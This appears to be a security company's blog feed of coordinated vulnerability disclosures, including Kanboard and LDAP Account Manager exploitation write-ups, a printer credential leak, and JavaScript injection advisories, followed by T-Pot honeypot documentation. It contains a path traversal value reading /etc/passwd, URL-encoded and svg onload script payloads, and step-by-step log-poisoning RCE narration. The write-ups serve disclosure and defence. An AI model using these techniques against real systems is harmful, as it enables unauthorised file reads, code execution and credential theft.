We can see the raw data of projects, comments, etc. Especially the project_has_files table holds our attention, as it stores relative file paths of uploaded files. So we switched to the source code repository and looked through the source code, to determine how the the filepaths are read and used within the application.

Write and delete files - but what about reading them?

In the web UI, we see that uploaded files can be downloaded through URLs like this: https://example.com/project/1/file/1/download/<hash>. So searching through the code base for /download points us to the underlying PHP class that is responsible for serving files: the FileViewerController.

$ ack "/download"
ServiceProvider/RouteProvider.php
77:  $container['route']->addRoute('project/:project_id/file/:file_id/download/:etag', 'FileViewerController', 'download');
148: $container['route']->addRoute('task/:task_id/file/:file_id/download/:etag', 'FileViewerController', 'download');

The below download() function of the FileViewerController.php looks very simple. But what exactly do $this->getFile(); and $this->objectStorage->output($file['path']); do?

public function download()
{
    try {
        $file = $this->getFile();
        $this->response->withFileDownload($file['name']);
        $this->response->send();
        $this->objectStorage->output($file['path']);
    } catch (ObjectStorageException $e) {
        $this->logger->error($e->getMessage());
    }
}

$this->getFile() is a call to the super class of BaseController.

protected function getFile()
{
    $project_id = $this->request->getIntegerParam('project_id');
    $task_id = $this->request->getIntegerParam('task_id');
    $file_id = $this->request->getIntegerParam('file_id');
    
    [...]
}

We see that this function parses the project_id and file_id parameter values that we already saw in the route definition of download URLs. The function essentially parses the two values from the URL, performs a SQL select on the attachments and returns an array with the data, collected from the SQL entry. No path sanitization that we can see so far!

So lets check the output() function of the objectStorage, which is defined in FileStorage.php.

public function output($key)
{
    $filename = $this->path.DIRECTORY_SEPARATOR.$key;

    if (! file_exists($filename)) {
        throw new ObjectStorageException('File not found: '.$filename);
    }

    readfile($filename);
}

The function retrieves the $key parameter, which in this case is a relative path from the SQLite database, checks the file’s existence and returns its content. No checks - this smells like a arbitrary file read if we are able to modify the path successfully.

Since we are certain that the application is vulnerable to an arbitrary file read, we immediately test it out:

We download the database
Decompress it via gzip -d db.sqlite.gz
Open it in a SQL browser and go to table project_has_files.
For one of the already uploaded files, we modify the path to something we want to read ../../../../../../../etc/passwd
Commit our SQL changes and save the file
Compress it again with gzip db.sqlite
Upload it to the server
Download the modified file via the web ui

And what we get is:

Hurray! We are able to read arbitrary files from the server - further a “referenced” file can be deleted (if Kanboard has sufficient permissions) via the web ui. This vulnerability has been assigned CVE-2024-51747 - reported via GHSA-78pf-vg56-5p8v.

code `exec`

File reads are nice - but we prefer to have code execution on the target. So we still decided to look deeper. When reviewing PHP code it’s always a good start to check for the known dangerous php functions assembled in this great collection.

$ ack -i "system\s*\(" --php
ServiceProvider/LoggingProvider.php
42:  $driver = new System();
$ ack -i "shell_exec\s*\(" --php

Unfortunately, we have no results except false positives in our source code, when we grepped for command execution functions.

However, one result with a require statement looks interesting.

$ ack -i "require\s*\(" --php
app/Core/Translator.php
176:            self::$locales = array_merge(self::$locales, require($filename));

require is a PHP language statement to include other files, which leads directly to RCE, if the file is controllable. Having a $filename variable - that could be controllable by us - looks interesting. Let’s see where $filename comes from and which value it has. It is defined in Translator.php in the load() function.

public static function load($language, $path = '')
{
    if ($path === '') {
        $path = self::getDefaultFolder();
    }

    $filename = implode(DIRECTORY_SEPARATOR, array($path, $language, 'translations.php'));

    if (file_exists($filename)) {
        self::$locales = array_merge(self::$locales, require($filename));
    }
}

The load() function seems to be called from LanguageModel.php.

$ ack -i "load\s*\(" --php
Model/LanguageModel.php
214:    Translator::load($this->getCurrentLanguage());

And it depends on getCurrentLanguage() from the same class.

public function getCurrentLanguage()
{
    return $this->userSession->getLanguage() ?: $this->configModel->get('application_language', 'en_US');
}

/**
 * Load translations for the current language
 *
 * @access public
 */
public function loadCurrentLanguage()
{
    Translator::load($this->getCurrentLanguage());
}

Do you spot something fishy? Maybe not, since we haven’t explained it yet - but $this->configModel->get('application_language', 'en_US'); reads a configuration value from the SQLite settings table. In particular, it reads the application_language entry or defaults to en_US. Since we already inspected all further handling of the the application_language value we can conclude that this fields leads to a constrained RCE on the server!

If we set application_language to an arbitrary path via path traversal, the value will be used to construct the $filename path, which we saw before. However, at the end of the path, the code adds a translations.php. Meaning, if we are able to write a translations.php file anywhere on the server, where Kanboard can read it and modify the SQLite database accordingly, then we achieve code execution because Kanboard includes this file.

We tried to abuse this, by uploading a translations.php file via Kanboard’s file attachments function, but the files are not saved with their original filename, but with a hash instead. This leaves us unlucky to abuse it all-at-once :S

This vulnerability has been assigned CVE-2024-51748 - reported via GHSA-jvff-x577-j95p.

Last but not least, after reporting all vulnerabilities we noticed on retesting that we are still logged in in our testing instance after multiple days. How can this be?

It turns out that the session invalidation was not working properly, thus keeping sessions alive for an indefinite time. This vulnerability has been assigned CVE-2024-55603 - reported via GHSA-gv5c-8pxr-p484 with additional details.

These findings once again show the danger of default credentials, giving initial access, which than can be used to exploit a system. Also it shows, that even configuration data cannot be trusted - user controllable input must be properly sanitized in all cases.

Timeline:

2024-10-31: Vulnerability CVE-2024-51747 and CVE-2024-51748 has been reported to the vendor.
2024-11-03: Vendor has reported that the vulnerabilities will be fixed in next release.
2024-11-10: Kanboard 1.2.42 has been released with both fixes.
2024-11-18: Vulnerability CVE-2024-55603 has been reported to the vendor.
2024-12-08: Vendor has reported that the vulnerability will be fixed in next release.
2024-12-18: Kanboard 1.2.43 has been released with the fix.
2025-05-08: This blog post was published.

Rasa (un)authenticated Remote Code Execution via remote model loading (CVE-2024-49375)

2025-04-01T00:00:00+00:00

During an internal penetration test a product was checked which uses Rasa to build a conversational AI. A mixture of penetration testing and source code analysis led to the discovery of an (un)authenticated Remote Code Execution.

TL;DR

Which versions are affected?

rasa (pip) <3.6.21
rasa-pro (pip) <3.10.12, <3.9.16, <3.8.18

Are fixed versions available?
Yes, namely:

rasa (pip) 3.6.21
rasa-pro (pip) 3.10.12, 3.9.16, 3.8.18

Does Rasa need to be patched?
Yes and as fast as possible due to its severity (critical, 9.1/10, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H). Additional information on the fix and the mitigation advice can be found at GitHub.

The RCE vulnerability affects systems running Rasa as follows:

Default configuration: not affected by RCE
HTTP API enabled (--enable-api): affected
- No authentication method in use: unauthenticated RCE
- Token Based Auth: authenticated RCE
- JWT Based Auth: authenticated RCE

Is an exploit available?
Yes, the exploit can be found at the end of the full advisory and here.

Links:
https://github.com/RasaHQ/rasa-pro-security-advisories/security/advisories/GHSA-cpv4-ggrr-7j9v
https://nvd.nist.gov/vuln/detail/cve-2024-49375

Credits
Julian Scheid (julian.scheid@telekom.de)

Technical deep dive

For those interested in taking a technical deep dive in how the vulnerability was discovered and how the exploit has been developed, reading the full advisory is highly recommended.

View the full advisory

Multiple critical vulnerabilities in SICK DL100-2xxxxxxx Products

2025-03-14T00:00:00+00:00

Several vulnerabilities were discovered during testing of a DL100 device.

Details

Product: SICK DL100-2xxxxxxx
Affected Version: all firmware versions
Vulnerability Type: Download of Code Without Integrity Check (CWE-494), Cleartext Transmission of Sensitive Information (CWE-319) and Use of Weak Hash (CWE-328)
Risk Level: Critical
Vendor URL: https://www.sick.com/de/de/
Vendor acknowledged vulnerability: Yes
Vendor Status: Known Affected / Workaround
CVEs: CVE-2025-27593, CVE-2025-27594, CVE-2025-27595

The vulnerabilities were discovered during testing a device of type DL100.

CVE-2025-27593: Download of Code Without Integrity Check

The product can be used to distribute malicious code using SDD Device Drivers due to missing download verification checks leading to code execution on target systems.

CVE-2025-27594: Cleartext Transmission of Sensitive Information

The device uses an unencrypted, proprietary protocol for communication, authentication and transmission of configuration data. An attacker can thereby intercept the authentication hash and use it to log into the device using a pass-the-hash attack.

CVE-2025-27595: Use of Weak Hash

The device uses a weak hashing algorithm to create the password hash. Hence, a matching password can be easily calculated by an attacker. This impacts the security and the integrity of the device.

References

Timeline

07.01.2025: Vulnerability reported to the vendor.
31.01.2025: Vendor confirmed vulnerabilities.
14.03.2025: Vendor published a Security Advisory with a workaround.
14.03.2025: This blog post was published.

Credits

Leonard Lewedei (leonard.lewedei@telekom.de)

Remote code execution in LDAP Account manager through CVE-2024-23333 (Exploiting web applications Part I)

2025-01-14T00:00:00+00:00

During red teaming engagements, the first step is to gain a foothold in the client’s network. That might happen through a phishing attempt, malicious payloads, physical access to the client’s site or an assumed breach. But what happens once you got access to the network? With the goal to overtake the company by gaining domain dominance in mind, you need to move step-by-step. So, during one engagement, we were at this point. We had gained initial access, could poke around in the client’s network but did not yet have any domain credentials which we could abuse for our attack. We were carefully looking around in the customer’s network, trying to get ourselves onto a server, in the hope of it being domain-joined and being able to extract valid domain credentials. As we were poking around, we stumbled across a webserver that had an application called LDAP Account Manager (LAM) running.

This blog post describes the path of identifying, understanding and exploiting a remote code execution (RCE) vulnerability in LAM.

Identify a potential vulnerability

LAM is an open-source application that helps with managing LDAP entries. At this point, there were no publicly known vulnerabilities that one could exploit for gaining remote code execution on the server. So we did our own research.

On the main screen of LAM’s landing page, there is menu item called “configuration”, which sounded interesting.

It seems to allow the modification of various settings.

However, a master password is required.

A quick Google search revealed that the default master password is lam, as the vendor describes in the documentation.

Success! No one changed the default password. We see this often in red teaming engagements—that default passwords work for all kinds of applications: printers, web applications, settings, etc. A strong-willed attacker will use the slightest indication of success to penetrate a system. Therefore, everything will be exploited. We strongly recommend that you change your default login credentials to avoid giving attackers a target.

With access to the configuration panel, we looked through the various options and stumbled across the logging feature. Log data can be saved to an arbitrary filepath, which releases the smell of log poisoning in the air - let’s give it a try.

Our idea for gaining remote code execution (RCE) was the following:

Create a log file within the web root, using a .php extension so that the web server directs it to the PHP interpreter.
Identify an input value that can be controlled and saved in this log file to inject PHP code.
Access the log file via the web server to execute remote code (RCE).

Source code analysis

When exploiting vulnerabilities, it is a good idea to have a look at and to understand the source code (if accessible). It can only make it easier to perform the exploitation, and it helps to see if there are any constraints or side-effects from the exploitation. Also, when studying the source code, you may find even more vulnerabilities or bugs that could be chained together.

So, we have a look in the source code in the file templates/config/mainmanage.php, since this is what we see in our browser’s address bar.

if (isset($_POST['logFile']) && ($_POST['logFile'] != "") &&
        preg_match("/^[a-z0-9\\/\\\\:\\._-]+$/i", $_POST['logFile'])) {
    $cfg->logDestination = $_POST['logFile'];
} else {
    $errors[] = _("The log file is empty or contains invalid characters!
                    Valid characters are: a-z, A-Z, 0-9, /, \\, ., :, _ and -.");
}

As we can see, there is no checking for path traversal, file extensions sanitization or any other form of sanitization. This is promising for our exploitation.

We further saw in the same file that the settings are saved via $cfg->save();.

// save settings
if (isset($_POST['submit'])) {
    $cfg->save();
    if (sizeof($errors) == 0) {
        metaRefresh('../login.php?confMainSavedOk=1');
        exit();
    }
}

$cfg is an object of class LAMConfig defined in lib/config.inc. The save() function also does not do any further sanitization and thus saves it to the file directly.

Now we need to know an absolute path on the webserver, in order to deliberately store the malicious log file. We could not find an information disclosure in LAM, but as luck was on our side, there is a file on the server in old/phpinfo.php. We found this directory using ffuf. As the name suggests, the phpinfo.php calls phpinfo() and thus prints the absolute filepath on the server, among a bunch of other information. With this information in hand, we configured LAM to write the config file to /var/www/html/old/demo.php.

Note: A correct LAM installation, as described in offical sources, does not expose any writable paths. Thus, the exploitation relies on either a misconfigured installation or “third-party” writable file systems paths.

Finding a poisonable log entry

Now we need to find a user controllable value that is written to the log file. First, we need to find how log entries are created. So, we grep through the code with ack and look for the already known config value logDestination.

$ ack logDestination

[..]

lib/security.inc
267:    if (($cfg->logDestination == 'NONE')
276:    if ($cfg->logDestination == 'SYSLOG') {
280:    elseif (strpos($cfg->logDestination, 'REMOTE') === 0) {
285:            @touch($cfg->logDestination);
286:            if (is_writable($cfg->logDestination)) {
287:                    $file = fopen($cfg->logDestination, 'a');
300:                    StatusMessage('ERROR', 'Unable to write to log file!', $cfg->logDestination);
791:    $remoteParts = explode(':', $cfgMain->logDestination);

[..]

Among other hits, lib/security.inc seems to be the correct location. Looking in the actual file reveals the function logNewMessage, which is the next keyword that we ~~grep~~ ack for.

ack logNewMessage

templates/login.php
109:    logNewMessage(LOG_DEBUG, "Change server profile to " . $_GET['useProfile']);
186:    logNewMessage(LOG_DEBUG, "Display login page");
508:                    logNewMessage(LOG_DEBUG, "Empty password for login");
567:                            logNewMessage(LOG_ERR, 'User ' . $username . ' (' . $clientSource . ') 
                                    failed to log in. ' . $searchError . '');
590:    logNewMessage(LOG_NOTICE, 'User ' . $username . ' (' . $clientSource . ') successfully logged in.');

Nice! A failed login saves the username? That looks good! Let’s try!

First, we verify that the log file is accessible by opening the page:

Success! So let us poison the username with PHP source code :). We use Burp to intercept the login request.

We send it to the repeater and insert a PHP payload that runs the id command.

Let us see how the log file now looks like:

Oh yes, the PHP code got interpreted and the id command executed on the server. The result is rendered in the log file! We got RCE on the server and can continue compromising the customer!

Conclusion

Default credentials are always dangerous, even if only simple settings can be configured. Also, it is not a good idea to expose old/test/dev files on your servers; simple information such as a filepath can be useful for an attacker to successfully breach your system. Just because a project is 20 years old doesn’t mean that it doesn’t contain security vulnerabilities or that they have all been discovered. Hence, researching for vulnerabilities can end in success when attempting to gain access to systems.

Vulnerability Details

This vulnerability has been assigned CVE-2024-23333 via GHSA-fm9w-7m7v-wxqv with a CVSS 3 score of 7.9.

The issue has been fixed in LAM version 8.7, affected versions are < 8.7.

Additionally, vulnerability CVE-2024-52792 has been discovered, that could bypass the security fix.

Timeline

2024-01-11: Vulnerability CVE-2024-23333 reported to the vendor.
2024-03-16: Vendor has reported that the vulnerability has been fixed.
2024-11-15: Vulnerability CVE-2024-52792 reported to the vendor.
2024-11-19: Vendor has reported that the vulnerability has been fixed.
2025-01-14: This blog post was published.

Remote buffer overflow vulnerability in SharkSSL TLS handshake processing

2024-12-19T00:00:00+00:00

A new remote buffer overflow vulnerability was discovered in the latest version of the SharkSSL library from 05.05.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods. The vulnerability allows an attacker to read large regions of the SharkSSL TLS server’s memory. This is likely to result in a segmentation fault and can be used for a remote Denial-of-Service attack by an attacker. Special thanks to Robert Hörr for his support, supervision and guidance during this research.

View the full advisory

Tuta Mail Vulnerability - Client Information Leak

2024-11-29T00:00:00+00:00

An client information leak vulnerability (CVE-2024-23330) has been identified in Tuta Mail. This vulnerability could leak client information by loading external resources in the mail even if disabled.

Details

Product: Tuta Mail
Affected Version: Tuta Mail < 3.119.10
Vulnerability Type: Server-Side Request Forgery (SSRF) (CWE-918)
Risk Level: Medium
Vendor URL: https://tuta.com/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-23330

The vulnerability was discovered during testing of Tutanota for iOS. By sending a html email with an embeded svg image, an attacker could receive the information when the email was read, which device is used and the user’s ip address.

References

Timeline

2024-01-22: Vendor has reported that the vulnerability has been fixed.
2024-11-29: This blog post was published.

Credits

Tom Peine (Tom.Peine@telekom.de)

Tuta Mail Vulnerability - DoS

2024-11-29T00:00:00+00:00

A denial of service vulnerability (CVE-2024-23655) has been identified in Tuta Mail. This vulnerability could prevent users from accessing and reading received mails when an attacker sends a manipulated mail.

Details

Product: Tuta Mail
Affected Version: Tuta Mail >=3.118.12, < 3.119.10
Vulnerability Type: Improper Input Validation (CWE-20)
Risk Level: High
Vendor URL: https://tuta.com/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-23655

The vulnerability was discovered during testing of Tutanota for iOS. By sending a manipulated email, an attacker could put the app into an unusable state. In this case, a user can no longer access received e-mails. Since the vulnerability affects not only the app, but also the web application, a user in this case has no way to access received emails.

References

Timeline

2024-01-25: Vendor has reported that the vulnerability has been fixed.
2024-11-29: This blog post was published.

Credits

Tom Peine (Tom.Peine@telekom.de)

Security Content for iOS, iPadOS, and macOS

2024-11-27T00:00:00+00:00

A heap corruption vulnerability (CVE-2024-44126) has been identified in several Apple products that use the ARKit component. This vulnerability could compromise the security of devices when processing a specially crafted file.

Details

Product: Apple Software
Affected Version: macOS Ventura < 13.7.1, iOS < 17.7, iPadOS < 17.7, macOS Sonoma < 14.7
Vulnerability Type: Out-of-bounds Write (CWE-787)
Risk Level: High
Vendor URL: https://support.apple.com
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-44126

This vulnerability has the potential to lead to data exfiltration and system instability, posing a risk to users of iOS and macOS devices. It is recommended that users ensure they have the latest software versions installed to mitigate this vulnerability.

References

Timeline

2024-09-16: Vendor has fixed the vulnerability.
2024-10-28: Vendor has reported that the vulnerability has been fixed.
2024-11-27: This blog post was published.

Credits

Holger Fuhrmannek (holger.fuhrmannek@telekom.de)

Remote buffer overflow vulnerability in SharkSSL TLS Client Key Exchange handshake processing

2024-11-04T00:00:00+00:00

A new remote buffer overflow vulnerability (CVE-2024-48075) was discovered in the latest version of the SharkSSL library from 09.09.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods.

View the full advisory

Collabora Office for Android - JavaScript Injection via Links

2024-09-06T00:00:00+00:00

A JavaScript Injection vulnerability (CVE-2024-45045) has been identified in Collabora Office for Android, allowing an attacker to execute arbitrary JavaScript within the context of the Android App when a victim opens a specially crafted document.

Details

Product: Collabora Office for Android
Affected Version: < 24.04.6.2
Vulnerability Type: Improper Neutralization of Encoded URI Schemes in a Web Page (CWE-84)
Risk Level: Medium
Vendor URL: https://www.collaboraonline.com/collabora-office-android-ios/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-45045

The vulnerability was discovered during testing of Collabora Office for Android. In affected versions of the app, it is possible to inject JavaScript via a document with a specially crafted link using URL-encoded values. For instance, a link with the target "http://www.google.de/%22%27%2b%61%6c%65%72%74%28%31%29%2b%27" triggers the execution of the JavaScript code "alert(1)" when the link is activated. Since it is possible for a link to be automatically activated when a document is opened, the vulnerability could be triggered after a victim opens a document without any further user interaction.

Impact

Since the Android JavaScript interface allows access to internal functions, the likelihood that the app could be compromised via this vulnerability is considered high.

Remediation

It is recommended to upgrade to the latest version of Collabora Office for Android to fix this vulnerability.

References

Timeline

2024-03-18: Vulnerability reported to the vendor.
2024-08-29: Vendor has reported that the vulnerability has been fixed.
2024-09-06: This blog post was published.

Credits

Holger Fuhrmannek (holger.fuhrmannek@telekom.de)

Moodle - Reflected XSS Vulnerability via H5P error message

2024-08-28T00:00:00+00:00

A reflected cross-site scripting (XSS) vulnerability (CVE-2024-43439) has been identified in Moodle, allowing an attacker to execute arbitrary JavaScript within the context of a Moodle website when a victim visits a specially crafted link.

Details

Product: Moodle
Affected Version: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions
Vulnerability Type: Cross-site Scripting (CWE-79)
Risk Level: High
Vendor URL: https://moodle.org/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: CVE-2024-43439

The vulnerability was discovered during a penetration test of a Moodle-based website. The attack is possible when a teacher, who could also be the victim, uploads an H5P file to a course. While the H5P file itself does not contain malicious content, an attacker (such as a malicious student) can obtain and modify the link associated with this file. By replacing part of the link with double URL-encoded JavaScript code, the attacker can create a link that, when viewed by the victim, triggers execution of the embedded JavaScript code. This is possible because an error message related to H5P files is not properly sanitized before it is displayed.

Impact

An attacker could execute arbitrary JavaScript code within the victim’s Moodle session, which could lead to actions such as session hijacking or unauthorized data access.

Remediation

It is recommended to upgrade to the latest version of Moodle to fix this vulnerability.

References

Timeline

2024-07-03: Vulnerability reported to the vendor.
2024-08-19: Vendor has reported that the vulnerability has been fixed.
2024-08-28: This blog post was published.

Credits

Holger Fuhrmannek (holger.fuhrmannek@telekom.de)

Peripheral Sight - Red Teaming with printer CVE-2024-5143

2024-07-03T00:00:00+00:00

In a red team engagement, anything can be a target, and depending on what has already been looted (or not), everything will be a target - even as a form of desperation. In this stage of an engagement, a red team member may have to broaden their vision and should also bring peripherals into their scope, as they may also contain valuable information or loot. This happened during a red team engagement with the DT Security Red Team, which resulted in finding juicy information through a previously unknown CVE on an HP Printer.

Why target a printer?

As mentioned before, depending on how hardened the infrastructure may be, finding good loot for further access to the network may be scarce. The idea of targeting a printer revolves around the fact that multifunctional devices may resolve user accounts via ldap and send their mail via smtp, authenticating with at least a service account.

What actually happened?

At first, during a red team assumed breach engagement, nothing of significant value was found on the internal network - services were all authenticated through Microsoft-SSO or other well-established OpenID Connect solutions (all patched and up to date).

Being frustrated and grasping onto every straw there was, the red team eventually came upon a multifunctional office printer shared by every worker in the remote office.

A detailed port scan revealed the typical open ports 80/443 and 9100. Since connecting to port 9100 revealed nothing of interest, the team proceeded onto the printer’s built-in web server.

LDAP or Mail?

When clicking through the web interface, nothing concerning ldap resolution was found, but it was discovered that the mail functionality was configured with a scan@xxx.com user!

Finally, something that might be of value - so of course the team attempted to edit the settings to see whether information regarding the scan account could be extracted. The edit page revealed the target SMTP-server, username and a password field:

Hoping that the web interface may disclose the password in any way was naturally…

… not crowned with success. =(

The simple idea…

So the printer did not disclose the password via the web interface… But can we only change the remote SMTP server address while retaining all the other information including the unkown password stored in the printer?

We tried and:

It worked! We could change the target SMTP and still retain the user:password already stored on the printer, resulting in a full disclosure of the credentials when run against a self-hosted plain-authenticated SMTP server (as shown above).

-> So another question remains: Can anybody change these settings? Apparently not, as admin access is required, but the interface does not restrict you if it is configured without authentication or has default credentials.

Was it worth it?

Without disclosing too much confidential information, yes it was - and it led to the full compromise of a major business service the client offered. =)

The conclusion

Broadening your vision in a red team engagement may not only reveal new targets leading to a compromise of a service, but it can also end up with finding a CVE in a multifunctional printer.

Furthermore, restricting service accounts to their apparent use should be a given and should not be circumvented because some functions are convenient to use (disabling the whole concept).

References

HP: https://support.hp.com/us-en/document/ish_10643804-10643841-16/hpsbpi03941
Simple PoC to dump credentials: https://github.com/petermueller-T/PoCs/blob/main/python/simple_smtp_server.py

Timeline

2024-01-02: Reported to Vendor
2024-05-23: Vendor has released the security bulletin with new firmware.
2024-07-04: This blog post was published.

Credits

Peter Müller (peter.mueller37@telekom.de)

Airmail App - JavaScript Injection Vulnerability Exposes Sensitive Data

2024-04-29T00:00:00+00:00

A vulnerability has been identified in the popular iOS/macOS email apps “Airmail - Your Mail With You” and “Airmail for Business” that poses a significant risk. The vulnerability, classified as a JavaScript injection combined with an insecurely configured WebView, was present in versions of the apps prior to 5.7. Users are strongly encouraged to update to the latest version of “Airmail - Your Mail With You” and “Airmail for Business” to protect their data.

Details

Product: Airmail - Your Mail With You, Airmail for Business
Affected Version: < 5.7
Vulnerability Type: Improper Neutralization of Input During Web Page Generation / “Cross-site Scripting” (CWE-79), Insecure Storage of Sensitive Information (CWE-922)
Risk Level: High
Vendor URL: https://airmailapp.com/
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
CVE: N/A

The vulnerability exists because JavaScript code that can access sensitive information can be injected into an HTML email message. For example, the following HTML code could trigger JavaScript to run when an email is opened:

Please Wait...
<svg 
onload='setTimeout(function(){document.write("<p style=color:white>JavaScript was executed.</p>");},1000);'>
</svg>

Since the Web view in which the code is executed is insecurely configured to allow the JavaScript code to access certain sensitive data, malicious code could access this data.

The vulnerability has been demonstrated using a specially crafted email. Once the HTML email containing the malicious JavaScript code is opened in the app, it gains access to the Data.db file. This file contains the user’s email data for the current mailbox. As a result, the malicious code can send the contents of the Data.db file to an external server.

Impact

Exploitation of this vulnerability by an attacker could have serious privacy implications. The Data.db file contains extensive sensitive email information, such as all emails in the mailbox, sent emails, etc.

References

Timeline

2024-03-13: Vulnerability reported to the vendor.
2024-03-18: Vendor has reported that the vulnerability has been fixed.
2024-04-29: This blog post was published.

Credits

Holger Fuhrmannek (holger.fuhrmannek@telekom.de)

T-Pot Version 24.04 released

2024-04-23T00:00:00+00:00

We are proud to announce the release of T-Pot 24.04! T-Pot 24.04 marks probably the largest change in the history of the project. While most of the changes have been made to the underlying platform some changes will be standing out in particular - a T-Pot ISO image will no longer be provided with the benefit that T-Pot will now run on multiple Linux distributions (Alma Linux, Debian, Fedora, OpenSuse, Raspbian, Rocky Linux, Ubuntu), Raspberry Pi (optimized) and macOS / Windows (limited).

T-Pot is the all in one, optionally distributed, multiarch (amd64, arm64) honeypot plattform, supporting 20+ honeypots and countless visualization options using the Elastic Stack, animated live attack maps and lots of security tools to further improve the deception experience.

TL;DR

Meet the system requirements. The T-Pot installation needs at least 8-16 GB RAM, 128 GB free disk space as well as a working (outgoing non-filtered) internet connection.
Download or use a running, supported distribution.
Install the ISO with as minimal packages / services as possible (ssh required)
Install curl: $ sudo [apt, dnf, zypper] install curl if not installed already
Run installer as non-root from $HOME:
```
env bash -c "$(curl -sL https://github.com/telekom-security/tpotce/raw/master/install.sh)"
```
- Follow instructions, read messages, check for possible port conflicts and reboot

T-Pot - The All In One Multi Honeypot Platform
TL;DR
Table of Contents
Disclaimer
Technical Concept
System Requirements
System Placement
Installation
First Start
Remote Access and Tools
Configuration
- T-Pot Config File
- Customize T-Pot Honeypots and Services
Maintenance
Troubleshooting
- Logs
- RAM and Storage
Contact
- Issues
- Discussions
Licenses
Credits
- The developers and development communities of
Testimonials

Disclaimer

You install and run T-Pot within your responsibility. Choose your deployment wisely as a system compromise can never be ruled out.
For fast help research the Issues and Discussions.
The software is designed and offered with best effort in mind. As a community and open source project it uses lots of other open source software and may contain bugs and issues. Report responsibly.
Honeypots - by design - should not host any sensitive data. Make sure you don’t add any.
By default, your data is submitted to Sicherheitstacho. You can disable this in the config (~/tpotce/docker-compose.yml) by removing the ewsposter section. But in this case sharing really is caring!

Technical Concept

T-Pot’s main components have been moved into the tpotinit Docker image allowing T-Pot to now support multiple Linux distributions, even macOS and Windows (although both limited to the feature set of Docker Desktop). T-Pot uses docker and docker compose to reach its goal of running as many honeypots and tools as possible simultaneously and thus utilizing the host’s hardware to its maximum.

T-Pot offers docker images for the following honeypots …

… alongside the following tools …

Autoheal a tool to automatically restart containers with failed healthchecks.
Cyberchef a web app for encryption, encoding, compression and data analysis.
Elastic Stack to beautifully visualize all the events captured by T-Pot.
Elasticvue a web front end for browsing and interacting with an Elasticsearch cluster.
Fatt a pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic.
T-Pot-Attack-Map a beautifully animated attack map for T-Pot.
P0f is a tool for purely passive traffic fingerprinting.
Spiderfoot an open source intelligence automation tool.
Suricata a Network Security Monitoring engine.

… to give you the best out-of-the-box experience possible and an easy-to-use multi-honeypot system.

Technical Architecture

The source code and configuration files are fully stored in the T-Pot GitHub repository. The docker images are built and preconfigured for the T-Pot environment.

The individual Dockerfiles and configurations are located in the docker folder.

Services

T-Pot offers a number of services which are basically divided into five groups:

System services provided by the OS
- SSH for secure remote access.
Elastic Stack
- Elasticsearch for storing events.
- Logstash for ingesting, receiving and sending events to Elasticsearch.
- Kibana for displaying events on beautifully rendered dashboards.
Tools
- NGINX provides secure remote access (reverse proxy) to Kibana, CyberChef, Elasticvue, GeoIP AttackMap, Spiderfoot and allows for T-Pot sensors to securely transmit event data to the T-Pot hive.
- CyberChef a web app for encryption, encoding, compression and data analysis.
- Elasticvue a web front end for browsing and interacting with an Elasticsearch cluster.
- T-Pot Attack Map a beautifully animated attack map for T-Pot.
- Spiderfoot an open source intelligence automation tool.
Honeypots
- A selection of the 23 available honeypots based on the selected docker-compose.yml.
Network Security Monitoring (NSM)
- Fatt a pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic.
- P0f is a tool for purely passive traffic fingerprinting.
- Suricata a Network Security Monitoring engine.

User Types

During the installation and during the usage of T-Pot there are two different types of accounts you will be working with. Make sure you know the differences of the different account types, since it is by far the most common reason for authentication errors.

Service	Account Type	Username / Group	Description
SSH	OS	`<OS_USERNAME>`	The user you chose during the installation of the OS.
Nginx	BasicAuth	`<WEB_USER>`	`<web_user>` you chose during the installation of T-Pot.
CyberChef	BasicAuth	`<WEB_USER>`	`<web_user>` you chose during the installation of T-Pot.
Elasticvue	BasicAuth	`<WEB_USER>`	`<web_user>` you chose during the installation of T-Pot.
Geoip Attack Map	BasicAuth	`<WEB_USER>`	`<web_user>` you chose during the installation of T-Pot.
Spiderfoot	BasicAuth	`<WEB_USER>`	`<web_user>` you chose during the installation of T-Pot.
T-Pot	OS	`tpot`	`tpot` this user / group is always reserved by the T-Pot services.
T-Pot Logs	BasicAuth	`<LS_WEB_USER>`	`LS_WEB_USER` are automatically managed.

System Requirements

Depending on the supported Linux distro images, hive / sensor, installing on real hardware, in a virtual machine or other environments there are different kind of requirements to be met regarding OS, RAM, storage and network for a successful installation of T-Pot (you can always adjust ~/tpotce/docker-compose.yml and ~/tpotce/.envto your needs to overcome these requirements).

T-Pot Type	RAM	Storage	Description
Hive	16GB	256GB SSD	As a rule of thumb, the more sensors & data, the more RAM and storage is needed.
Sensor	8GB	128GB SSD	Since honeypot logs are persisted (~/tpotce/data) for 30 days, storage depends on attack volume.

T-Pot does require …

an IPv4 address via DHCP or statically assigned
a working, non-proxied, internet connection … for a successful installation and operation.

If you need proxy support or otherwise non-standard features, you should check the docs of the supported Linux distro images and / or the Docker documentation.

Running in a VM

All of the supported Linux distro images will run in a VM which means T-Pot will just run fine. The following were tested / reported to work:

Some configuration / setup hints:

While Intel versions run stable, Apple Silicon (arm64) support has known issues which in UTM may require switching Display to Console Only during initial installation of the OS and afterwards back to Full Graphics.
During configuration you may need to enable promiscuous mode for the network interface in order for fatt, suricata and p0f to work properly.
If you want to use a wifi card as a primary NIC for T-Pot, please be aware that not all network interface drivers support all wireless cards. In VirtualBox e.g. you have to choose the “MT SERVER” model of the NIC.

Running on Hardware

T-Pot is only limited by the hardware support of the supported Linux distro images. It is recommended to check the HCL (hardware compatibility list) and test the supported distros with T-Pot before investing in dedicated hardware.

Running in a Cloud

T-Pot is tested on and known to run on …

Telekom OTC using the post install method … others may work, but remain untested.

